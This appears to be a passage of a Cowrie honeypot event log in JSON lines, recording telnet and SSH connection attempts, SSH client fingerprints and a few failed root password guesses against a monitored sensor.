{"eventid":"cowrie.session.closed","duration":34.97436857223511,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:41.978592Z","src_ip":"135.148.14.151","session":"4cac99966aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46118,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b2dd460139","protocol":"telnet","message":"New connection: 135.148.14.151:46118 (159.203.135.109:23) [session: 54b2dd460139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:54.502096Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48012,"dst_ip":"159.203.135.109","dst_port":23,"session":"6252a1f2a285","protocol":"telnet","message":"New connection: 135.148.14.151:48012 (159.203.135.109:23) [session: 6252a1f2a285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:27:59.106979Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48934,"dst_ip":"159.203.135.109","dst_port":23,"session":"a154595338c1","protocol":"telnet","message":"New connection: 135.148.14.151:48934 (159.203.135.109:23) [session: a154595338c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:01.163234Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53262,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe29a2c254d4","protocol":"telnet","message":"New connection: 135.148.14.151:53262 (159.203.135.109:23) [session: fe29a2c254d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:10.333034Z"}
{"eventid":"cowrie.session.closed","duration":120.00651383399963,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:17.363271Z","src_ip":"179.102.17.221","session":"c5fa23813cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56316,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd5f55d1563","protocol":"telnet","message":"New connection: 135.148.14.151:56316 (159.203.135.109:23) [session: 1dd5f55d1563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:17.493105Z"}
{"eventid":"cowrie.session.closed","duration":120.00746893882751,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:23.455366Z","src_ip":"179.102.17.221","session":"9e1a85b68a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":42205,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3d0321ab2d7","protocol":"telnet","message":"New connection: 179.102.17.221:42205 (159.203.135.109:23) [session: e3d0321ab2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:29.298998Z"}
{"eventid":"cowrie.session.closed","duration":34.880414724349976,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:29.382388Z","src_ip":"135.148.14.151","session":"54b2dd460139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.948519229888916,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:35.055575Z","src_ip":"135.148.14.151","session":"6252a1f2a285","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.963746547698975,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:41.126842Z","src_ip":"135.148.14.151","session":"a154595338c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38368,"dst_ip":"159.203.135.109","dst_port":23,"session":"838cc3880e2a","protocol":"telnet","message":"New connection: 135.148.14.151:38368 (159.203.135.109:23) [session: 838cc3880e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:47.962441Z"}
{"eventid":"cowrie.session.closed","duration":38.483745098114014,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:48.816604Z","src_ip":"135.148.14.151","session":"fe29a2c254d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.10023880004883,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:28:55.593243Z","src_ip":"135.148.14.151","session":"1dd5f55d1563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51340,"dst_ip":"159.203.135.109","dst_port":23,"session":"bffda72e63fc","protocol":"telnet","message":"New connection: 135.148.14.151:51340 (159.203.135.109:23) [session: bffda72e63fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:09.257554Z"}
{"eventid":"cowrie.session.closed","duration":31.487176179885864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:19.449499Z","src_ip":"135.148.14.151","session":"838cc3880e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":58998,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d9001c22d32","protocol":"ssh","message":"New connection: 103.149.170.125:58998 (10.17.0.5:22) [session: 5d9001c22d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:28.415835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:28.420441Z","src_ip":"103.149.170.125","session":"5d9001c22d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:28.677935Z","src_ip":"103.149.170.125","session":"5d9001c22d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60268,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0d105583db9","protocol":"telnet","message":"New connection: 135.148.14.151:60268 (159.203.135.109:23) [session: f0d105583db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:28.967553Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"321qaz","message":"login attempt [root/321qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:29.451844Z","src_ip":"103.149.170.125","session":"5d9001c22d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:30.714657Z","src_ip":"103.149.170.125","session":"5d9001c22d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49886,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34c2e7ce313","protocol":"telnet","message":"New connection: 135.148.14.151:49886 (159.203.135.109:23) [session: a34c2e7ce313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:39.490917Z"}
{"eventid":"cowrie.session.closed","duration":0.005322933197021484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:39.496109Z","src_ip":"135.148.14.151","session":"a34c2e7ce313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.52886724472046,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:29:44.786327Z","src_ip":"135.148.14.151","session":"bffda72e63fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.85672211647034,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:30:06.824048Z","src_ip":"135.148.14.151","session":"f0d105583db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01326203346252,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:30:29.312198Z","src_ip":"179.102.17.221","session":"e3d0321ab2d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58016,"dst_ip":"159.203.135.109","dst_port":23,"session":"ece21e2501e0","protocol":"telnet","message":"New connection: 135.148.14.151:58016 (159.203.135.109:23) [session: ece21e2501e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:30:31.634181Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":42975,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f49e5189bd","protocol":"telnet","message":"New connection: 179.102.17.221:42975 (159.203.135.109:23) [session: a4f49e5189bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:30:46.180921Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58444,"dst_ip":"159.203.135.109","dst_port":23,"session":"7612ee7fc62e","protocol":"telnet","message":"New connection: 135.148.14.151:58444 (159.203.135.109:23) [session: 7612ee7fc62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:30:49.036015Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43108,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ef8568dbe6","protocol":"telnet","message":"New connection: 135.148.14.151:43108 (159.203.135.109:23) [session: 97ef8568dbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:03.689889Z"}
{"eventid":"cowrie.session.closed","duration":37.7680242061615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:09.402071Z","src_ip":"135.148.14.151","session":"ece21e2501e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48192,"dst_ip":"159.203.135.109","dst_port":23,"session":"54f810cb92ec","protocol":"telnet","message":"New connection: 135.148.14.151:48192 (159.203.135.109:23) [session: 54f810cb92ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:14.304619Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46686,"dst_ip":"10.17.0.5","dst_port":22,"session":"093af6b414f7","protocol":"ssh","message":"New connection: 147.45.199.80:46686 (10.17.0.5:22) [session: 093af6b414f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:15.270844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:15.276367Z","src_ip":"147.45.199.80","session":"093af6b414f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:15.379649Z","src_ip":"147.45.199.80","session":"093af6b414f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liza2004","message":"login attempt [root/liza2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:15.684766Z","src_ip":"147.45.199.80","session":"093af6b414f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:16.786785Z","src_ip":"147.45.199.80","session":"093af6b414f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49420,"dst_ip":"159.203.135.109","dst_port":23,"session":"a49679c8e998","protocol":"telnet","message":"New connection: 135.148.14.151:49420 (159.203.135.109:23) [session: a49679c8e998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:17.205060Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52764,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1058cfeecde","protocol":"telnet","message":"New connection: 135.148.14.151:52764 (159.203.135.109:23) [session: d1058cfeecde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:26.133468Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53614,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a68ba9d2fc5","protocol":"telnet","message":"New connection: 135.148.14.151:53614 (159.203.135.109:23) [session: 3a68ba9d2fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:27.222053Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47276,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c927dc7244","protocol":"ssh","message":"New connection: 193.228.128.84:47276 (10.17.0.5:22) [session: 66c927dc7244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:32.085421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:32.091379Z","src_ip":"193.228.128.84","session":"66c927dc7244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:32.193757Z","src_ip":"193.228.128.84","session":"66c927dc7244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thunder1","message":"login attempt [root/thunder1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:32.502656Z","src_ip":"193.228.128.84","session":"66c927dc7244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:33.618329Z","src_ip":"193.228.128.84","session":"66c927dc7244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.787726163864136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:39.477489Z","src_ip":"135.148.14.151","session":"97ef8568dbe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32846,"dst_ip":"159.203.135.109","dst_port":23,"session":"636abfb4516d","protocol":"telnet","message":"New connection: 135.148.14.151:32846 (159.203.135.109:23) [session: 636abfb4516d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:44.123389Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33466,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f4e47cbffba","protocol":"telnet","message":"New connection: 135.148.14.151:33466 (159.203.135.109:23) [session: 4f4e47cbffba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:46.608539Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55516,"dst_ip":"159.203.135.109","dst_port":23,"session":"91898922c12b","protocol":"telnet","message":"New connection: 135.148.14.151:55516 (159.203.135.109:23) [session: 91898922c12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:46.890709Z"}
{"eventid":"cowrie.session.closed","duration":62.39111852645874,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:51.427060Z","src_ip":"135.148.14.151","session":"7612ee7fc62e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.204309940338135,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:52.508795Z","src_ip":"135.148.14.151","session":"54f810cb92ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.91122126579285,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:31:56.116242Z","src_ip":"135.148.14.151","session":"a49679c8e998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.94561219215393,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:02.078951Z","src_ip":"135.148.14.151","session":"d1058cfeecde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85008931159973,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:03.071982Z","src_ip":"135.148.14.151","session":"3a68ba9d2fc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81857872009277,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:21.427008Z","src_ip":"135.148.14.151","session":"4f4e47cbffba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.444140911102295,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:22.334703Z","src_ip":"135.148.14.151","session":"91898922c12b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.41101837158203,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:22.534288Z","src_ip":"135.148.14.151","session":"636abfb4516d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50084,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf01d3da435f","protocol":"telnet","message":"New connection: 135.148.14.151:50084 (159.203.135.109:23) [session: bf01d3da435f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:22.680321Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53454,"dst_ip":"159.203.135.109","dst_port":23,"session":"afe4ec25bf27","protocol":"telnet","message":"New connection: 135.148.14.151:53454 (159.203.135.109:23) [session: afe4ec25bf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:30.087966Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":53526,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c04a708a07e","protocol":"ssh","message":"New connection: 38.93.206.2:53526 (10.17.0.5:22) [session: 0c04a708a07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:31.793966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:31.800553Z","src_ip":"38.93.206.2","session":"0c04a708a07e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"